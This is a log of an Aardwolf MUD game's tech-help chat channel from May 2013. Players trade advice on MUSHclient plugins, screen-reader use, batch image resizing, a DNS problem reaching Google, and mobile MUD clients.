T3/r7/2013-05-15.txt.gz:{chan ch=tech}Faylen Tech: Ok. I think I get it. Yeah the one I'm working on now is a pretty serious modification... Assuming it actually works, so a new id would probably be good. But this gmcp number is looking for the gmcp plugin. That makes sense. Thanks guys
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I'd assume it has to do with some header include not loading
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: i was having problems earlier with pages not even loading and giving me "needing additional log on information" so someone said to try chrome... but meh
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Laughing Airmeith Tech: sounds like you have some net issues, not chrome specific
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Tech: faylen: I'd also suggest that you talk to Fiendish before doing all too much with your project...
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: well my ISP ran tests and it's fine, they think it's malware but i ran all the software i have and nothing shows...although i know that doesn't always mean nothing is there
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Laughing Airmeith Tech: malwarebytes, full scan
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I've been running into something that doesn't show up any other way, but it's hit mine twice
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Faylen Tech: Ah. Yeah, I'll do that, although what I'm trying to do is pretty specific to screen reader users. I couldn't get help doing it so I'm trying my hand at it myself, for better or worse. lol
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Tech: it would be a much better idea for you to help him streamline the VI capabilities of his released MUSHclient than for you to make your own releases...he is very open to updates like that
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Also MS Defender
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Tech: he's interested in things specific to screen reader users
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Laughing Airmeith Tech: yes, Fiendish would love to help make AardMUSH better for VI users.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Tech: he has asked for people to work with him on VI features
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Faylen Tech: Hmm. That's a good point. Except, to make it truly vi friendly, all the mini windows have to be disabled. Perhaps I'll talk with him to see if there would be some way to enter a command that would go through and do that, not sure how possible that is.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Tech: all the miniwindows can be easily disabled in one command
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Faylen Tech: Really? I had to go in and remove a bunch of plugins to do it
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: well, you can just write an alias to disable them all
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Tech: and what you were asking for before about a way to filter channel and other info for what to funnel through your reader plugin, the channel capture plugin already has tons of that functionality already, between deciding which stuff to go to the capture miniwin and the main output separately...would just need a CLI interface for it, and a third option of reader
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Faylen Tech: Good thing is since this doesn't install, just runs out of a folder I can experiment without worrying about screwing up my running version. hehe
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Tech: Exactly.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Faylen Tech: Oo, I hadn't thought about looking at that one. I've been using WW's sound pack plugin as a base for how to grab the channel posts and trying to hack that into this channel history plugin I have. But the channel capture might be a better source, less modification, perhaps
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Faylen Tech: This totally reminds me of when I was first trying to learn any kind of programming. Taking existing stuff, picking it apart and putting other stuff in to see if it worked.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Tech: and for the long hex number looking for the gmcp handler, you should copy that part exactly...that's not the number identifying your plugin, that's the number of the GMCP handler, so it has to match...
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Faylen Tech: nodnod. I got that from earlier discussion. I didn't really understand that plugins had these ids, but now that makes total sense. Thanks!
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Tech: yeah, if you look in the state folder, the state files are named WorldIDSoAllTheSame hyphen PluginID hyphen state.xml
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Faylen Tech: Oh gees, I haven't even dug around in there at all. Is that where plugin info is stored that changes, to save info over sessions etc?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Mushambo Tech: I was most disappointed there was no new Nexus 7 announcement...now I have no clue whether to buy the current one or wait some undetermined number of months :-(
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: I think i finally figure out what was wrong with my browser problems
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: one of the microsoft updates did something screwy with my security settings...i restored back to my 5/8 restore point and all the errors went away
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Tech: Princess Vanellope bounces around.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Laughing Airmeith Tech: interesting
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: i forgot i could do that o.O
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: although i still can't see some pictures and stuff in IE and it wiped out chrome so i have to get that again :P
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: eh nope ...still having problems :(
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Princess Vanellope Tech: they FINALLY found out what was wrong with my PC
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Princess Vanellope Tech: i had DNS poisoning .
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Tech: Princess Vanellope . o O ( sounds like a freaky health condition )
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Forgotten Starphoenix Tech: hey anyone use Facebook understand how the thumbnails on the bottom left are organized?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Forgotten Starphoenix Tech: the ones used for the chat? i never could figure out how/why they are ordered the way they are
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Salamander Samalander Tech: is it possible to have inventory displayed in a window on mushclient?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I saw a plugin for that someplace once
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: don't recall where, but it's out there
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Salamander Samalander Tech: I see I see
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Salamander Samalander Tech: can't be more specific?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Forgotten Starphoenix Tech: uhm... try asking Leinei?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Tech: Leinei makes an innocent face and says: 'Listen baby - WASNTME!'.
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Leinei Tech: gammon made one, but don't think it was ever completed.
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Leinei Tech: someone else might have modified it
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Salamander Samalander Tech: Found one
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Jaenelle Tech: Any quick way to resize lots of images at once? :P
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Leinei Tech: I found one once, years back.  No idea what it was called, though
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Leinei Tech: thinking like "jpeg resizer" or something like that
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Jaenelle Tech: hmm. I think I'll go poke one of the graphics guys and see what they say. :)
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Jaenelle Tech: One of these days I need to actually develop some photoshop skillz. :P
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: whatcha trying to do, Jae?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I just logged in, sorry
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: what sort of images?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Jaenelle Tech: Currently 250 pngs. :P
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: do you already have photoshop?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Jaenelle Tech: I want to decrease the size to like 60% but keep the number of pixels. :P
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Jaenelle Tech: I've got the CS5 version I think.
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Jaenelle Tech: (I have so many programs installed on this computer that I basically never use) :P
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: if you want to keep them as PNG, go for FastStone Photo Resizer. Otherwise, Photoshop has the plugin under File>Scripts>Image Processor which will open, resize, and save a bunch of images for you
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Jaenelle Tech: Yes, but it doesn't want to keep them as pngs, but I see something that'll let me record an action and then run a batch process. Time to give that a try. ;)
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I usually use Lightroom to export my files to a specific size/format with my watermark.
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: recording a batch action in PS is pretty easy, though
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: When you are talking about size, are you talking physical size, or byte size?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Because if you want to keep resolution the same, you change the first by changing the DPI, and the second by changing the save quality
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: Vakieh, in my case, it's exporting images to a proper size for website display--I don't need to put the full 12MP shot up there.
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: and I do that with a non-destructive method, exporting from Lightroom to a JPG 1400px on the long side, which my website will then display at a 600px width with a link to the larger version.
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: PS has a 'save for web and devices' option which is purpose built for this
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That said, you need to reduce the resolution - most browsers look at the number of pixels directly, instead of looking at DPI (which is more for printing)
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: why export from Lightroom to Photoshop and add the step?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: ? Sorry, I use Bridge :-P Lightroom probably has similar features
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I DO reduce the resolution down to 1400px on a side, Vakieh
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I was referring to Jaenelle's original like-res stipulation
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: yeah, but PNG is a lossless format, so it'll have just as many pixels unless she actively resizes it to reduce pixel count
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Forunner Tech: hallo
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto misses the 'v' and wabes.
T3/r7/2013-05-16.txt.gz:{chan ch=tech}VampireDude Tech: is there an alternate mud client to use on android besides blowtorch?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Ayasinda Tech: Don't think it's stealth. It's a lvl 1 hunter
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Ayasinda Tech: mis
T3/r7/2013-05-16.txt.gz:{chan ch=tech}VampireDude Tech: some races can hide
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Jaenelle Tech: WEll. after working with a graphics guy for awhile... we can change one image in photoshop, but the action wouldn't record a 60% image size, it always recorded at 100%. So while I could change one image, I couldn't run a whole folder.
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Jaenelle Tech: BUT, since they're all going into a word doc anyways... I created a macro in word that does the same thing at the same quality. I just rescale the images to 60% or 0.6 there. *fear*
T3/r7/2013-05-16.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: is there a mush plugin which will display quest mob name and area in the info bar with time to tick info? (below command line)?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: I'd written a script which did that for zmud and is probably the only thing I still don't have an equivalent for in mush now
T3/r7/2013-05-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ust gotta find the syntax
T3/r7/2013-05-16.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: eh?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: wouldnt be hard to do, just need the syntax to put it there
T3/r7/2013-05-16.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: well I'm not familiar at all with scripting in mush
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Atoam Tech: So this is weird...I can't use Ctrl+End in Windows XP.
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Atoam Tech: That's it. Everything else works fine. Just that one shortcut.
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Eutychus Tech: Run a repair installation of windows.
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Atoam Tech: I don't want to :(
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Atoam Tech: But yeah that's about where I'm at. Really weird bug.
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Vonliege Tech: when using "find" in the output window of Aardmush... how do I "find next"?  F3 doesn't work
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: hrm, anyone experiencing problems with google currently? Can't seem to get through to it... can't seem to connect to google's DNS server either...
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Ontuct Tech: pops right up for me
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Ontuct Tech: google and G+
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: hrm... wonder why it's not working for me...
T3/r7/2013-05-16.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: you try multiple platforms?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: computer, smart phone?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: computer. Pinging 8.8.8.8 also times out
T3/r7/2013-05-16.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: you have a smart phone?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: no. I have a desktop and laptp though... both can't reach google dns.
T3/r7/2013-05-16.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: hmm...
T3/r7/2013-05-16.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: what city do you live in?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: oddly, I can reach wikipedia, but not google, unless I use http://173.194.75.105
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: philly
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Shimafuguro Tech: 8.8.4.4 ??
T3/r7/2013-05-16.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: http://www.isitdownrightnow.com/drive.google.com.html
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: hmm... pinging 8.8.4.4 gives no response either...
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: oh well, maybe it'll magically resolve itself after a while. *cross fingers*
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Shimafuguro Tech: I think this may cause from your ISP
T3/r7/2013-05-16.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: routing issue maybe?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: maybe...
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: you got another PC on your network you can try?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: yeah, both can't reach google.com and 8.8.8.8 or 8.8.4.4
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Fatal FrostBite Tech: restart router
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: you at home, univ, work?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: home. Funny thing is, I can reach most sites, just not google, google news, etc. Really odd.
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: done anything that might have offended google? :)
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Fatal FrostBite Tech: google pops right up for me... Did you restart your router?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sommeil Tech: try loading a page you've never been to before.
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: I did a while back - worked, oddly.
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: haven't restarted my router though...
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: sort of worried that if I try restarting it I might lose my connection altogether. Is that worry baseless?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: I'd say it is
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i would as well
T3/r7/2013-05-16.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: baseless I mean
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Tech: Fatal FrostBite looks like he'll agree to just about anything right now. Hmmm...
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: oh well, see you in a while then...
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Serkitt Tech: I'm using the aard mush client, and my map is updating on the screen instead of the map widget, any clues how to fix?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Fatal FrostBite Tech: sounds like tags
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Fatal FrostBite Tech: try tags map
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Serkitt Tech: ah! thanks a tick
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Tech: Fatal FrostBite bows deeply.
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: hrm, didn't fix it. Maybe my isp has just suddenly decided it hates google or something.
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Serkitt Tech: now the map is off centered nd trying to go through the side of the widgit
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: anyone remember offhand where the dns server setting options are?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: for?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: for modem, router, or OS?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: OS
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: windows?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: vista, I think
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: old computers...
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: eww. umm network connection properties and then ipv4
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: could also open a command window and type ipconfig /flushdns
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: maybe that would help
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Tech: serkitt: make sure that "shortmap" is turned off, so that you do see blank lines on the map
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: ah, I figured out why my desktop isn't connecting. For some reason I can't reach google, and my desktop was using google's dns servers, while this computer isn't...
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: I've no idea why google hates me now, but at least I can connect on my other computer. sigh. Oh well, no google for me for now, I guess. Thanks all!
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Tech: probably just a temporary routing issue
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: maybe...
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Tech: but yeah, I usually use google's 8.8.8.8 dns for anything that doesn't need internal DNS
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: it seems like I switched to 8.8.8.8 on my desktop ages ago (but not my laptop) when I encountered problems with whatever my isp assigned. And now I switch back because I can't reach 8.8.8.8. Ha.
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Sonshi Tech: good thing I checked my email before this happened...
T3/r7/2013-05-16.txt.gz:{chan ch=tech}VampireDude Tech: how do you disable googles spellchecker on androi rd?
T3/r7/2013-05-16.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Without modding the software layer, you can't afaik
T3/r7/2013-05-16.txt.gz:{chan ch=tech}VampireDude Tech: k. thanks
T3/r7/2013-05-16.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Anyone found a good replacement for Google Reader yet?  I don't like Feedly because it doesn't work with IE.
T3/r7/2013-05-16.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: stop using IE
T3/r7/2013-05-16.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I could have predict that answer, I use IE at work.
T3/r7/2013-05-16.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: and if it doesn't work on I.E. it also doesn't work on my blackberry!
T3/r7/2013-05-16.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: commafeed.com
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Salamander Samalander Tech: Anyone have the campaign tracker plugin for MUSH?
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Riddim Tech: finger bast
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Riddim Tech: or finger winklewinkle      ???
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Salamander Samalander Tech: I have one, but I'm having a issue with it..
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Riddim Tech: It is usually more expedient if you ask your question 
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Salamander Samalander Tech: well the tracker always omits the mob on the top of the list because whenever I type cp check, the name for the first mob is stuck after my prompt so It's never picked up
T3/r7/2013-05-17.txt.gz:{chan ch=tech}HelperMan Hadar Tech: add a carrage return on the end of your prompt (thought mush auto did that but something must be wrong with yours)
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Salamander Samalander Tech: with my prompt or mush?
T3/r7/2013-05-17.txt.gz:{chan ch=tech}HelperMan Hadar Tech: type auto and the last thing on your prompt line should be a %c
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Salamander Samalander Tech: It isn't which I assume is the issue
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Salamander Samalander Tech: Much better, thanks Hadar
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Jaenelle Tech: ANyone super awesome at creating macros in word? :P
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Tech: Jaenelle hears the faint sounds of a cricket chirping.
T3/r7/2013-05-17.txt.gz:{chan ch=tech}GraySong Gregor Tech: Not heard of it, does it have an automated quest system?
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Jaenelle Tech: I've managed to resize all the images, but I"m wondering if I can check the size and if the resized size is greater than 11cm, to make it 11cm :P
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Hollister Tech: is anyone here familiar with Unity3D?
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Hollister Tech: no one?
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Tirran Tech: in settings should be able to realign 
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Vonz Tech: Does anyone else have problems hitting the on-screen buttons with the Android client? I have to press 1cm below the buttons to actually hit them :/  
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Vonz Tech: this happens occassionally. Im using Samsung Galaxy Note.
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Speaking as an adroid developer ... for the most part that's the hardware screwing up. The android layer doesn't really have any issues translating touch events through the layers.
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Vonz Tech: Do you how to remap the screen?
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: note 1 or 2?
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Vonz Tech: note 1. Everything else is working very nicely.
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Vonz Tech: I just tried to draw with the s-pen to the s-memo and it worked precicely. So i think its just with this aardwolf app.
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yeah.. those two things were designed together to work together .. not really really proof of your following statement ;)
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: cool, double that really like a typo king.
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: What version of android is your note running?
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Vonz Tech: And the on-sceen buttons are like 1 or 2 cm off. I couldnt do anything with this phone if it would be always like this.
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Settings -> About Phone
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Vonz Tech: 4.0.4.
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Vonz Tech: And sometimes the on-screen buttons are at 100% right place. Sometimes 1-2cm off. 
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I'm not seeing any issues with it running on 4.0.4 on the emulator, but that's not exactly touch testing. I just don't have a device with 4.0.4 to test it on.. 
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: And unfortunately, there's nothing I can really do to test it without BT's source code :P
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: So, you're kinda SOL until BT's developer pushes a new release to fix it. Post a bug note to them, and hope.
T3/r7/2013-05-17.txt.gz:{chan ch=tech}VampireDude Tech: hmmn. cheeze any idea who wrote the aardwolf mud client for android app?
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I can't recall
T3/r7/2013-05-17.txt.gz:{chan ch=tech}VampireDude Tech: k thanks anyways
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Tech: VampireDude is using it and was tinking of automating login.
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Vonz Tech: the 'Actions' button and 'clear' button seem to work 100% of the time but N W S are not working at all.  
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Do you have them too close together? You may have overlaps..
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Failboat Tech: how do you reset the onscreen buttons on the android?
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Long-click and drag iirc
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Vonz Tech: i think theyre not too close together. I take my words back with the clear button. now it doesnt work. Maybe i'll leave a note tomorrow
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Tigernuts Tech: windows 8
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Tigernuts Tech: why are windows 7 laptops so bloody expensive compared to 8?
T3/r7/2013-05-17.txt.gz:{chan ch=tech}VampireDude Tech: uefi?
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: MS price fixing
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: So people'll buy the new ones.
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Ymerd Tech: touch screen ?
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Vonliege Tech: demand?
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Tigernuts Tech: looks like $700 for a 4gb/i5 with windows 7 pro, or $600 for a 6gb/i5 with windows 8
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Tigernuts Tech: and what's the obsession with really shitty resolution screens?
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Tigernuts Tech: 1366x768? cmon, phones have higher resolution
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Lol
T3/r7/2013-05-17.txt.gz:{chan ch=tech}VampireDude Tech: oh cool i found a bug in aardwolf 
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: It's all fixed bro.
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: not the bug, the pricing and forcing of upgrades.
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Salamander Samalander Tech: Isn't really hard to get a monitor that does over 1920x1080?
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Vonliege Tech: how do you figure anyone is forcing you?
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Beauze Tech: hey all!
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Tech: sup
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Beauze Tech: don't suppose you know how to change the text size using an iOS client called mud client do you? LOL
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Beauze Tech: i am on my ipad right now using my bluetooth keyboard and i wish the text was just a shmidge bigger
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Tech: didja try just stretching the screen?
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Beauze Tech: aye didn't work
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Tech: not familiar with that particular client offhand...I've messed around with TMC's client and pocketmud, but prefer iSSH to connect to my real (non-mobile) MUD client when using iphone/ipad
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Beauze Tech: hmmm i am kinda new to tryin to play aardwolf, or any mud for that matter via my ipad i just grabbed this client from the app store cause it was free
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: 0h
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Beauze Tech: would you recommend pocket mud? i saw that one on there
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Tech: tbh I don't recommend using a mobile MUD client...better to use just a telnet/ssh client to connect to a computer running a real MUD client...that way you're only dealing with one setup regardless of the device you're using, and computer clients are worlds beyond mobile clients for scriptability
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Faylen Tech: So, I just loaded bast's stat monitor, which also pulled in several other plugins related to it. Now a window keeps popping up with sql errors. I've never gotten this before, any ideas?
T3/r7/2013-05-17.txt.gz:{chan ch=tech}Faylen Tech: most of them appear to be some kind of positioning updates, if that helps. I have all of the mini windows disabled, but I know others who are using this package without getting those errors
